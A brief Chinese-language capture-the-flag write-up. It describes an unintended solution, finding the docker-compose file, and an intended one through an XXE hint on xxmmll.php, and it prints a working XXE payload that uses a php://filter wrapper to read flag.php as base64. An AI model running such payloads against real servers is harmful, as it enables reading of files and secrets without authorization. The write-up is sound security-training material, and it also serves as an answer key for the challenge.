非预期解
直接扫到部署的docker-compose配置文件,拿到flag
预期解
在返回包中出现xxmmll.php
访问,很明显的XXE提示
输入下面内容读取flag
<?xml version = "1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <name>&xxe;</name>